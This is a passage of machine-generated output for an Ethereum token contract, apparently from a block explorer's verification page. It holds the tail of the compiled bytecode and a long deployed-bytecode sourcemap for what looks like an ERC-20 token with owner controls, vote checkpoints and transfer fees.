1315857600080fd5b815161158981612f11565b600060a082018783526020878185015260a0604085015281875480845260c0860191508860005282600020935060005b818110156131b85784546001600160a01b031683526001948501949284019201613193565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610ba557610ba561307e565b6000826131ff576131ff61310d565b500490565b60006020828403121561321657600080fd5b815161158981612c9e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156131b85784516001600160a01b03168352938301939183019160010161324c565b63ffffffff8181168382160190808211156131065761310661307e56fe757067726164696e673a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a2646970667358221220941c5d689350cef1da72c955e90e54b1b57166d0aced0b4a78d8111fb662a38964736f6c63430008110033

Deployed Bytecode Sourcemap

24649:18864:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25801:42;;;;;;;;;;-1:-1:-1;25801:42:0;;;;-1:-1:-1;;;25801:42:0;;;;;;;;;179:14:1;;172:22;154:41;;142:2;127:18;25801:42:0;;;;;;;;5941:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;36663:235::-;;;;;;;;;;-1:-1:-1;36663:235:0;;;;;:::i;:::-;;:::i;:::-;;6976:194;;;;;;;;;;-1:-1:-1;6976:194:0;;;;;:::i;:::-;;:::i;25850:32::-;;;;;;;;;;-1:-1:-1;25850:32:0;;;;-1:-1:-1;;;25850:32:0;;;;;;25132:56;;;;;;;;;;;;;;;;;;;3033:25:1;;;3021:2;3006:18;25132:56:0;2887:177:1;6262:108:0;;;;;;;;;;-1:-1:-1;6350:12:0;;6262:108;;25339:49;;;;;;;;;;-1:-1:-1;25339:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;37494:155;;;;;;;;;;;;37545:104;37494:155;;7178:493;;;;;;;;;;-1:-1:-1;7178:493:0;;;;;:::i;:::-;;:::i;6161:93::-;;;;;;;;;;-1:-1:-1;6161:93:0;;6244:2;4106:36:1;;4094:2;4079:18;6161:93:0;3964:184:1;7679:290:0;;;;;;;;;;-1:-1:-1;7679:290:0;;;;;:::i;:::-;;:::i;25532:72::-;;;;;;;;;;-1:-1:-1;25532:72:0;;;;-1:-1:-1;;;;;25532:72:0;;;;;;-1:-1:-1;;;;;4317:32:1;;;4299:51;;4287:2;4272:18;25532:72:0;4153:203:1;26233:53:0;;;;;;;;;;-1:-1:-1;26233:53:0;;;;;:::i;:::-;;;;;;;;;;;;;;32047:122;;;;;;;;;;-1:-1:-1;32047:122:0;;;;;:::i;:::-;-1:-1:-1;;;;;32136:25:0;32112:4;32136:25;;;:18;:25;;;;;;;;;32047:122;36906:305;;;;;;;;;;-1:-1:-1;36906:305:0;;;;;:::i;:::-;;:::i;38133:1157::-;;;;;;;;;;-1:-1:-1;38133:1157:0;;;;;:::i;:::-;;:::i;25611:71::-;;;;;;;;;;-1:-1:-1;25611:71:0;;;;-1:-1:-1;;;;;25611:71:0;;;30473:135;;;;;;;;;;;;;:::i;32303:126::-;;;;;;;;;;-1:-1:-1;32303:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;32394:27:0;32370:4;32394:27;;;:20;:27;;;;;;;;;32303:126;25501:24;;;;;;;;;;-1:-1:-1;25501:24:0;;;;-1:-1:-1;;;;;25501:24:0;;;37437:48;;;;;;;;;;-1:-1:-1;37437:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5851:10:1;5839:23;;;5821:42;;5809:2;5794:18;37437:48:0;5677:192:1;6378:143:0;;;;;;;;;;-1:-1:-1;6378:143:0;;;;;:::i;:::-;;:::i;975:148::-;;;;;;;;;;;;;:::i;25397:39::-;;;;;;;;;;-1:-1:-1;25397:39:0;;;;-1:-1:-1;;;;;25397:39:0;;;31651:141;;;;;;;;;;;;;:::i;37794:41::-;;;;;;;;;;-1:-1:-1;37794:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;752:87;;;;;;;;;;-1:-1:-1;825:6:0;;-1:-1:-1;;;;;825:6:0;752:87;;6049:104;;;;;;;;;;;;;:::i;25221:29::-;;;;;;;;;;;;;;;;30344:121;;;;;;;;;;-1:-1:-1;30344:121:0;;;;;:::i;:::-;;:::i;7977:439::-;;;;;;;;;;-1:-1:-1;7977:439:0;;;;;:::i;:::-;;:::i;39542:1212::-;;;;;;;;;;-1:-1:-1;39542:1212:0;;;;;:::i;:::-;;:::i;6529:200::-;;;;;;;;;;-1:-1:-1;6529:200:0;;;;;:::i;:::-;;:::i;31355:142::-;;;;;;;;;;;;;:::i;31505:138::-;;;;;;;;;;;;;:::i;39298:236::-;;;;;;;;;;-1:-1:-1;39298:236:0;;;;;:::i;:::-;;:::i;25468:26::-;;;;;;;;;;-1:-1:-1;25468:26:0;;;;-1:-1:-1;;;;;25468:26:0;;;26158:42;;;;;;;;;;-1:-1:-1;26158:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;31919:120;;;;;;;;;;;;;:::i;32567:2455::-;;;;;;;;;;-1:-1:-1;32567:2455:0;;;;;:::i;:::-;;:::i;32437:122::-;;;;;;;;;;-1:-1:-1;32437:122:0;;;;;:::i;:::-;;:::i;24779:53::-;;;;;;;;;;;;24815:17;24779:53;;35030:677;;;;;;;;;;-1:-1:-1;35030:677:0;;;;;:::i;:::-;;:::i;6792:176::-;;;;;;;;;;-1:-1:-1;6792:176:0;;;;;:::i;:::-;-1:-1:-1;;;;;6933:18:0;;;6906:7;6933:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6792:176;25299:33;;;;;;;;;;;;;;;;32177:118;;;;;;;;;;-1:-1:-1;32177:118:0;;;;;:::i;:::-;;:::i;37360:68::-;;;;;;;;;;-1:-1:-1;37360:68:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8370:10:1;8358:23;;;8340:42;;8413:2;8398:18;;8391:34;;;;8313:18;37360:68:0;8168:263:1;31800:111:0;;;;;;;;;;-1:-1:-1;31800:111:0;;;;;:::i;:::-;;:::i;1131:281::-;;;;;;;;;;-1:-1:-1;1131:281:0;;;;;:::i;:::-;;:::i;26337:30::-;;;;;;;;;;-1:-1:-1;26337:30:0;;;;;:::i;:::-;;:::i;5941:100::-;5995:13;6028:5;6021:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5941:100;:::o;36663:235::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;;;;;;;;;36813:66:::1;::::0;;;;::::1;::::0;;;-1:-1:-1;;;;;36813:66:0;;::::1;::::0;;::::1;::::0;;::::1;::::0;;;36786:7:::1;:104:::0;;::::1;::::0;::::1;::::0;;-1:-1:-1;36786:104:0;;;;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;;;;;;36786:104:0::1;::::0;;;::::1;;::::0;;;;;;::::1;::::0;;;;;;;;;::::1;::::0;::::1;:::i;:::-;;;;36663:235:::0;;:::o;6976:194::-;7084:4;7101:39;223:10;7124:7;7133:6;7101:8;:39::i;:::-;-1:-1:-1;7158:4:0;6976:194;;;;;:::o;7178:493::-;7318:4;7335:36;7345:6;7353:9;7364:6;7335:9;:36::i;:::-;-1:-1:-1;;;;;7411:19:0;;7384:24;7411:19;;;:11;:19;;;;;;;;223:10;7411:33;;;;;;;;7477:26;;;;7455:116;;;;-1:-1:-1;;;7455:116:0;;9569:2:1;7455:116:0;;;9551:21:1;9608:2;9588:18;;;9581:30;9647:34;9627:18;;;9620:62;-1:-1:-1;;;9698:18:1;;;9691:38;9746:19;;7455:116:0;9367:404:1;7455:116:0;7582:57;7591:6;223:10;7613:25;7632:6;7613:16;:25;:::i;:::-;7582:8;:57::i;:::-;-1:-1:-1;7659:4:0;;7178:493;-1:-1:-1;;;;7178:493:0:o;7679:290::-;223:10;7792:4;7881:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7881:34:0;;;;;;;;;;7792:4;;7809:130;;7859:7;;7881:47;;7918:10;;7881:47;:::i;36906:305::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;37055:33:::1;37091:7;37099:8;37091:17;;;;;;;;;;:::i;:::-;;;;;;;;;;;37055:53;;37144:5;37119:11;:22;;:30;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;37160:43:0;;-1:-1:-1;;;;;;37160:43:0::1;-1:-1:-1::0;;;;;37160:43:0;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;;36906:305:0:o;38133:1157::-;38316:23;37545:104;38445:6;:4;:6::i;:::-;38429:24;;;;;;38472:12;43421:9;;43295:178;38472:12;38366:165;;;;;;;10534:25:1;;;;10575:18;;;10568:34;;;;10618:18;;;10611:34;;;;38511:4:0;10661:18:1;;;;10654:60;;;;38366:165:0;;;;;;;;;;10506:19:1;;;38366:165:0;;38342:200;;;;;;37714:71;38600:57;;;10956:25:1;-1:-1:-1;;;;;11017:32:1;;10997:18;;;10990:60;11066:18;;;11059:34;;;11109:18;;;;11102:34;;;38600:57:0;;;;;;;;;;10928:19:1;;;38600:57:0;;;38576:92;;;;;;;-1:-1:-1;;;38722:57:0;;;11405:27:1;11448:11;;;11441:27;;;11484:12;;;11477:28;;;38342:200:0;;-1:-1:-1;;;11521:12:1;;38722:57:0;;;-1:-1:-1;;38722:57:0;;;;;;;;;38698:92;;38722:57;38698:92;;;;38803:17;38823:26;;;;;;;;;11771:25:1;;;11844:4;11832:17;;11812:18;;;11805:45;;;;11866:18;;;11859:34;;;11909:18;;;11902:34;;;38698:92:0;;-1:-1:-1;38803:17:0;38823:26;;11743:19:1;;38823:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;38823:26:0;;-1:-1:-1;;38823:26:0;;;-1:-1:-1;;;;;;;38882:23:0;;38860:116;;;;-1:-1:-1;;;38860:116:0;;12149:2:1;38860:116:0;;;12131:21:1;12188:2;12168:18;;;12161:30;12227:34;12207:18;;;12200:62;-1:-1:-1;;;12278:18:1;;;12271:41;12329:19;;38860:116:0;11947:407:1;38860:116:0;-1:-1:-1;;;;;39018:17:0;;;;;;:6;:17;;;;;:19;;;;;;:::i;:::-;;;;;39009:5;:28;38987:117;;;;-1:-1:-1;;;38987:117:0;;12701:2:1;38987:117:0;;;12683:21:1;12740:2;12720:18;;;12713:30;12779:34;12759:18;;;12752:62;-1:-1:-1;;;12830:18:1;;;12823:37;12877:19;;38987:117:0;12499:403:1;38987:117:0;39156:6;39137:15;:25;;39115:118;;;;-1:-1:-1;;;39115:118:0;;13109:2:1;39115:118:0;;;13091:21:1;13148:2;13128:18;;;13121:30;13187:34;13167:18;;;13160:62;-1:-1:-1;;;13238:18:1;;;13231:41;13289:19;;39115:118:0;12907:407:1;39115:118:0;39251:31;39261:9;39272;39251;:31::i;:::-;39244:38;;;;38133:1157;;;;;;;:::o;30473:135::-;30573:12;;30565:35;;30533:21;;-1:-1:-1;;;;;30573:12:0;;30565:35;;;;;30533:21;;30519:11;30565:35;30519:11;30565:35;30533:21;30573:12;30565:35;;;;;;;;;;;;;;;;;;;;;30508:100;30473:135::o;6378:143::-;-1:-1:-1;;;;;6495:18:0;6468:7;6495:18;;;;;;;;;;;;6378:143::o;975:148::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;1066:6:::1;::::0;1045:40:::1;::::0;1082:1:::1;::::0;-1:-1:-1;;;;;1066:6:0::1;::::0;1045:40:::1;::::0;1082:1;;1045:40:::1;1096:6;:19:::0;;-1:-1:-1;;;;;;1096:19:0::1;::::0;;975:148::o;31651:141::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;31729:11:::1;::::0;;-1:-1:-1;;;;;31751:33:0;;-1:-1:-1;;;;;;;;31729:11:0;;::::1;;::::0;;::::1;-1:-1:-1::0;;;31705:35:0::1;31751:33:::0;;;;;;;-1:-1:-1;;;;31705:35:0;;::::1;::::0;;::::1;31773:11;;-1:-1:-1::0;;;31751:33:0::1;;::::0;;31651:141::o;6049:104::-;6105:13;6138:7;6131:14;;;;;:::i;30344:121::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;30424:22:::1;:33:::0;;;::::1;;-1:-1:-1::0;;;30424:33:0::1;-1:-1:-1::0;;;;30424:33:0;;::::1;::::0;;;::::1;::::0;;30344:121::o;7977:439::-;223:10;8095:4;8139:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8139:34:0;;;;;;;;;;8206:35;;;;8184:122;;;;-1:-1:-1;;;8184:122:0;;13521:2:1;8184:122:0;;;13503:21:1;13560:2;13540:18;;;13533:30;13599:34;13579:18;;;13572:62;-1:-1:-1;;;13650:18:1;;;13643:35;13695:19;;8184:122:0;13319:401:1;8184:122:0;8317:67;223:10;8340:7;8349:34;8368:15;8349:16;:34;:::i;8317:67::-;-1:-1:-1;8404:4:0;;7977:439;-1:-1:-1;;;7977:439:0:o;39542:1212::-;39656:7;39712:12;39698:11;:26;39676:125;;;;-1:-1:-1;;;39676:125:0;;13927:2:1;39676:125:0;;;13909:21:1;13966:2;13946:18;;;13939:30;14005:34;13985:18;;;13978:62;-1:-1:-1;;;14056:18:1;;;14049:47;14113:19;;39676:125:0;13725:413:1;39676:125:0;-1:-1:-1;;;;;39836:23:0;;39814:19;39836:23;;;:14;:23;;;;;;;;;39874:17;;;39870:58;;39915:1;39908:8;;;;;39870:58;-1:-1:-1;;;;;39944:20:0;;;;;;:11;:20;;;;;39996:11;;39965:16;39980:1;39965:12;:16;:::i;:::-;39944:38;;;;;;;;;;;;;;;-1:-1:-1;39944:38:0;:48;;:63;39940:147;;-1:-1:-1;;;;;40031:20:0;;;;;;:11;:20;;;;;;40052:16;40067:1;40052:12;:16;:::i;:::-;40031:38;;;;;;;;;;;;;;;:44;;;40024:51;;;;;39940:147;-1:-1:-1;;;;;40103:20:0;;;;;;:11;:20;;;;;;;;:23;;;;;;;;:33;:23;:33;:47;-1:-1:-1;40099:88:0;;;40174:1;40167:8;;;;;40099:88;40199:12;;40241:16;40256:1;40241:12;:16;:::i;:::-;40226:31;;40268:428;40283:5;40275:13;;:5;:13;;;40268:428;;;40305:13;40347:1;40330:13;40338:5;40330;:13;:::i;:::-;40329:19;;;;:::i;:::-;40321:27;;:5;:27;:::i;:::-;-1:-1:-1;;;;;40413:20:0;;40390;40413;;;:11;:20;;;;;;;;:28;;;;;;;;;;;;;40390:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;40305:43;;-1:-1:-1;40460:27:0;;;40456:229;;40515:8;;;;-1:-1:-1;40508:15:0;;-1:-1:-1;;;;40508:15:0;40456:229;40549:12;;:26;;;-1:-1:-1;40545:140:0;;;40604:6;40596:14;;40545:140;;;40659:10;40668:1;40659:6;:10;:::i;:::-;40651:18;;40545:140;40290:406;;40268:428;;;-1:-1:-1;;;;;;40713:20:0;;;;;;:11;:20;;;;;;;;:27;;;;;;;;;;:33;;;;-1:-1:-1;;39542:1212:0;;;;:::o;6529:200::-;6640:4;6657:42;223:10;6681:9;6692:6;6657:9;:42::i;31355:142::-;31477:11;;31405:7;;31432:57;;31477:11;-1:-1:-1;;;31477:11:0;;;;;31432:40;;-1:-1:-1;;;31450:21:0;;;;31432:13;6350:12;;;6262:108;31432:13;:17;;:40::i;:::-;:44;;:57::i;:::-;31425:64;;31355:142;:::o;31505:138::-;31623:11;;31553:7;;31580:55;;31623:11;-1:-1:-1;;;31623:11:0;;;;;31580:38;;-1:-1:-1;;;31598:19:0;;;;31580:13;6350:12;;;6262:108;39298:236;-1:-1:-1;;;;;39405:23:0;;39363:7;39405:23;;;:14;:23;;;;;;;;39459:16;:67;;39525:1;39459:67;;;-1:-1:-1;;;;;39478:20:0;;;;;;:11;:20;;;;;;39499:16;39514:1;39499:12;:16;:::i;:::-;39478:38;;;;;;;;;;;;;;;:44;;;39459:67;39439:87;39298:236;-1:-1:-1;;;39298:236:0:o;31919:120::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;31972:12:::1;:19:::0;;-1:-1:-1;;31972:19:0::1;31987:4;31972:19;::::0;;32002:22:::1;:29:::0;;-1:-1:-1;;;;32002:29:0::1;-1:-1:-1::0;;;32002:29:0::1;::::0;;31919:120::o;32567:2455::-;32719:24;32737:4;32719:9;:24::i;:::-;32701:14;;:42;32697:2318;;32760:20;32783:33;32805:10;32783:21;:33::i;:::-;32760:56;;32854:1;32839:12;:16;32831:48;;;;-1:-1:-1;;;32831:48:0;;14853:2:1;32831:48:0;;;14835:21:1;14892:2;14872:18;;;14865:30;-1:-1:-1;;;14911:18:1;;;14904:49;14970:18;;32831:48:0;14651:343:1;32831:48:0;32894:33;32930:7;32938:8;32930:17;;;;;;;;;;:::i;:::-;;;;;;;;;;;32894:53;;32967:12;;;;;;;;;;;32962:1838;;33004:8;:13;;33016:1;33004:13;33000:1374;;33049:30;;33042:146;;-1:-1:-1;;;33042:146:0;;33116:10;33042:146;;;15173:51:1;15240:18;;;15233:34;;;-1:-1:-1;;;;;33049:30:0;;;;33042:47;;15146:18:1;;33042:146:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;33000:1374;;;33218:8;:13;;33230:1;33218:13;33214:1160;;33339:13;;33256:159;;33299:4;;-1:-1:-1;;;;;33339:13:0;33380:12;33256:8;:159::i;:::-;33438:13;;-1:-1:-1;;;;;33438:13:0;:90;33559:12;33438:13;;33634:22;;33687:10;33728:24;:15;33748:3;33728:19;:24::i;:::-;33438:341;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33214:1160;;;33911:13;;33828:159;;33871:4;;-1:-1:-1;;;;;33911:13:0;33952:12;33828:8;:159::i;:::-;34010:13;;-1:-1:-1;;;;;34010:13:0;:93;34134:12;34010:13;;34209:22;;34262:10;34303:24;:15;34323:3;34303:19;:24::i;:::-;34010:344;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33214:1160;34417:10;34396:32;;;;:20;:32;;;;;;;;34392:137;;;34454:3;:13;;-1:-1:-1;;;;;34454:13:0;;-1:-1:-1;;;;;;34454:13:0;;;;;;34490:12;:19;;-1:-1:-1;;;;34490:19:0;-1:-1:-1;;;34490:19:0;;;34392:137;32962:1838;;;34592:10;34573:30;;;;:18;:30;;;;;;;;34569:216;;;34677:13;;34625:100;;34642:4;;-1:-1:-1;;;;;34677:13:0;34712:12;34625:8;:100::i;:::-;34745:20;34751:7;34760:4;34745:5;:20::i;:::-;34844:10;34836:19;;;;:7;:19;;;;;;:37;;34860:12;34836:23;:37::i;:::-;34822:10;34814:19;;;;:7;:19;;;;;;;;:59;;;;34921:18;;34888;:30;;;;;;:51;34971:14;;:32;;34990:12;34971:18;:32::i;:::-;34954:14;:49;-1:-1:-1;;32697:2318:0;32567:2455;;;:::o;32437:122::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32518:27:0;;;::::1;;::::0;;;:20:::1;:27;::::0;;;;:33;;-1:-1:-1;;32518:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;32437:122::o;35030:677::-;35113:7;35133:21;35157:16;35167:5;35157:9;:16::i;:::-;35133:40;;35184:18;35205:17;:15;:17::i;:::-;35184:38;;35237:10;35251:1;35237:15;35233:56;;-1:-1:-1;35276:1:0;;35030:677;-1:-1:-1;;;35030:677:0:o;35233:56::-;-1:-1:-1;;;;;35364:25:0;;35301:23;35364:25;;;:18;:25;;;;;;35327:18;;:73;;:22;:73::i;:::-;35301:99;-1:-1:-1;35417:19:0;;35413:268;;35453:12;35468:50;35507:10;35468:34;:15;35488:13;35468:19;:34::i;:50::-;35453:65;;35546:14;;35539:4;:21;35535:135;;;-1:-1:-1;;35588:14:0;;;35030:677;-1:-1:-1;;;;35030:677:0:o;35535:135::-;35650:4;35030:677;-1:-1:-1;;;;;35030:677:0:o;35413:268::-;-1:-1:-1;35698:1:0;;35030:677;-1:-1:-1;;;;35030:677:0:o;32177:118::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32256:25:0;;;::::1;;::::0;;;:18:::1;:25;::::0;;;;:31;;-1:-1:-1;;32256:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;32177:118::o;31800:111::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;31878:12:::1;:25:::0;;-1:-1:-1;;;;;;31878:25:0::1;-1:-1:-1::0;;;;;31878:25:0;;;::::1;::::0;;;::::1;::::0;;31800:111::o;1131:281::-;825:6;;-1:-1:-1;;;;;825:6:0;223:10;887:23;879:68;;;;-1:-1:-1;;;879:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1234:22:0;::::1;1212:110;;;::::0;-1:-1:-1;;;1212:110:0;;16738:2:1;1212:110:0::1;::::0;::::1;16720:21:1::0;16777:2;16757:18;;;16750:30;16816:34;16796:18;;;16789:62;-1:-1:-1;;;16867:18:1;;;16860:36;16913:19;;1212:110:0::1;16536:402:1::0;1212:110:0::1;1359:6;::::0;1338:38:::1;::::0;-1:-1:-1;;;;;1338:38:0;;::::1;::::0;1359:6:::1;::::0;1338:38:::1;::::0;1359:6:::1;::::0;1338:38:::1;1387:6;:17:::0;;-1:-1:-1;;;;;;1387:17:0::1;-1:-1:-1::0;;;;;1387:17:0;;;::::1;::::0;;;::::1;::::0;;1131:281::o;26337:30::-;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;26337:30:0;;-1:-1:-1;26337:30:0;:::o;9955:380::-;-1:-1:-1;;;;;10091:19:0;;10083:68;;;;-1:-1:-1;;;10083:68:0;;17145:2:1;10083:68:0;;;17127:21:1;17184:2;17164:18;;;17157:30;17223:34;17203:18;;;17196:62;-1:-1:-1;;;17274:18:1;;;17267:34;17318:19;;10083:68:0;16943:400:1;10083:68:0;-1:-1:-1;;;;;10170:21:0;;10162:68;;;;-1:-1:-1;;;10162:68:0;;17550:2:1;10162:68:0;;;17532:21:1;17589:2;17569:18;;;17562:30;17628:34;17608:18;;;17601:62;-1:-1:-1;;;17679:18:1;;;17672:32;17721:19;;10162:68:0;17348:398:1;10162:68:0;-1:-1:-1;;;;;10243:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10295:32;;3033:25:1;;;10295:32:0;;3006:18:1;10295:32:0;;;;;;;;9955:380;;;:::o;27846:2490::-;28004:12;;;;;:51;;-1:-1:-1;825:6:0;;-1:-1:-1;;;;;28037:18:0;;;825:6;;28037:18;28004:51;:93;;;-1:-1:-1;825:6:0;;-1:-1:-1;;;;;28076:21:0;;;825:6;;28076:21;28004:93;:147;;;-1:-1:-1;28137:13:0;;-1:-1:-1;;;;;28118:33:0;;;28137:13;;28118:33;28004:147;27982:206;;;;-1:-1:-1;;;27982:206:0;;17953:2:1;27982:206:0;;;17935:21:1;17992:1;17972:18;;;17965:29;-1:-1:-1;;;18010:18:1;;;18003:39;18059:18;;27982:206:0;17751:332:1;27982:206:0;28216:11;;-1:-1:-1;;;;;28205:22:0;;;28216:11;;28205:22;;;;:46;;-1:-1:-1;28233:18:0;;-1:-1:-1;;;28233:18:0;;;;28231:20;28205:46;28201:98;;;28268:9;:19;;-1:-1:-1;;;;;;28268:19:0;-1:-1:-1;;;;;28268:19:0;;;;;28201:98;28357:22;;-1:-1:-1;;;28357:22:0;;;;:30;;28383:4;28357:30;:74;;;;-1:-1:-1;28404:18:0;;-1:-1:-1;;;28404:18:0;;;;:27;28357:74;:127;;;;-1:-1:-1;28456:13:0;;-1:-1:-1;;;;;28456:13:0;28448:36;;28357:127;:169;;;;-1:-1:-1;28501:11:0;;-1:-1:-1;;;;;28501:11:0;:25;;28357:169;:208;;;;-1:-1:-1;28554:11:0;;-1:-1:-1;;;;;28543:22:0;;;28554:11;;28543:22;;28357:208;:268;;;;;28610:15;;28582:24;28600:4;28582:9;:24::i;:::-;:43;;28357:268;:313;;;;-1:-1:-1;;;;;;28643:27:0;;;;;;:18;:27;;;;;;;;28642:28;28357:313;:361;;;;-1:-1:-1;;;;;;28688:30:0;;;;;;:18;:30;;;;;;;;28687:31;28357:361;28339:435;;;28745:17;:15;:17::i;:::-;-1:-1:-1;;;;;28791:29:0;;;;;;:20;:29;;;;;;;;28786:126;;28856:19;:17;:19::i;:::-;28845:7;:30;;28837:63;;;;-1:-1:-1;;;28837:63:0;;18290:2:1;28837:63:0;;;18272:21:1;18329:2;18309:18;;;18302:30;-1:-1:-1;;;18348:18:1;;;18341:50;18408:18;;28837:63:0;18088:344:1;28837:63:0;28942:11;;-1:-1:-1;;;;;28928:25:0;;;28942:11;;28928:25;28924:205;;29031:17;:15;:17::i;:::-;29020:7;28996:21;29006:10;28996:9;:21::i;:::-;:31;;;;:::i;:::-;:52;;28970:147;;;;-1:-1:-1;;;28970:147:0;;18639:2:1;28970:147:0;;;18621:21:1;18678:2;18658:18;;;18651:30;18717:34;18697:18;;;18690:62;-1:-1:-1;;;18768:18:1;;;18761:31;18809:19;;28970:147:0;18437:397:1;28970:147:0;-1:-1:-1;;;;;29145:27:0;;;;;;:18;:27;;;;;;;;29141:1188;;;29189:45;29205:7;29214:10;29226:7;29189:15;:45::i;29141:1188::-;29312:11;;29267:14;;29284:40;;29312:11;-1:-1:-1;;;29312:11:0;;;;;29284:23;;:7;;-1:-1:-1;;;29296:10:0;;;29284:11;:23::i;:40::-;29414:11;;29267:57;;-1:-1:-1;29339:20:0;;29362:78;;29414:11;-1:-1:-1;;;29414:11:0;;;;;29362:29;;:7;;-1:-1:-1;;;29374:16:0;;;29362:11;:29::i;:78::-;29568:11;;29339:101;;-1:-1:-1;29455:30:0;;29488:92;;29568:11;-1:-1:-1;;;29568:11:0;;;;;29488:57;;:7;;-1:-1:-1;;;29518:26:0;;;29488:29;:57::i;:92::-;29455:125;-1:-1:-1;29605:97:0;29455:125;29605:37;29629:12;29605:37;:7;29617:6;29605:11;:19::i;:::-;:23;;:37::i;:97::-;29732:11;;29595:107;;-1:-1:-1;;;;;;29732:11:0;;;29721:22;;;;29717:177;;-1:-1:-1;;;;;29768:26:0;;;;;;:14;:26;;;;;;:31;;29764:129;;-1:-1:-1;;;;;29824:26:0;;;;;;:14;:26;;;;;29875:15;29824:66;;29764:129;29908:45;29924:7;29933:10;29945:7;29908:15;:45::i;:::-;29968:47;29984:7;30001:4;30008:6;29968:15;:47::i;:::-;30030:53;30046:7;30063:4;30070:12;30030:15;:53::i;:::-;30098:63;30114:7;30131:4;30138:22;30098:15;:63::i;:::-;30193:14;;:42;;30212:22;30193:18;:42::i;:::-;30176:14;:59;30271:18;;:46;;30294:22;30271;:46::i;:::-;30250:18;:67;-1:-1:-1;;;27846:2490:0;;;:::o;40762:429::-;-1:-1:-1;;;;;40865:21:0;;;40839:23;40865:21;;;:10;:21;;;;;;;;;;40924:20;40876:9;40924;:20::i;:::-;-1:-1:-1;;;;;41005:21:0;;;;;;;:10;:21;;;;;;:33;;-1:-1:-1;;;;;;41005:33:0;;;;;;;;;;41056:54;;40897:47;;-1:-1:-1;41005:33:0;41056:54;;;;;;41005:21;41056:54;41123:60;41138:15;41155:9;41166:16;41123:14;:60::i;:::-;40828:363;;40762:429;;:::o;3156:98::-;3214:7;3241:5;3245:1;3241;:5;:::i;3262:98::-;3320:7;3347:5;3351:1;3347;:5;:::i;2944:98::-;3002:7;3029:5;3033:1;3029;:5;:::i;9453:494::-;-1:-1:-1;;;;;9537:21:0;;9529:67;;;;-1:-1:-1;;;9529:67:0;;19339:2:1;9529:67:0;;;19321:21:1;19378:2;19358:18;;;19351:30;19417:34;19397:18;;;19390:62;-1:-1:-1;;;19468:18:1;;;19461:31;19509:19;;9529:67:0;19137:397:1;9529:67:0;-1:-1:-1;;;;;9696:18:0;;9671:22;9696:18;;;;;;;;;;;9733:24;;;;9725:71;;;;-1:-1:-1;;;9725:71:0;;19741:2:1;9725:71:0;;;19723:21:1;19780:2;19760:18;;;19753:30;19819:34;19799:18;;;19792:62;-1:-1:-1;;;19870:18:1;;;19863:32;19912:19;;9725:71:0;19539:398:1;9725:71:0;9828:23;9845:6;9828:14;:23;:::i;:::-;-1:-1:-1;;;;;9807:18:0;;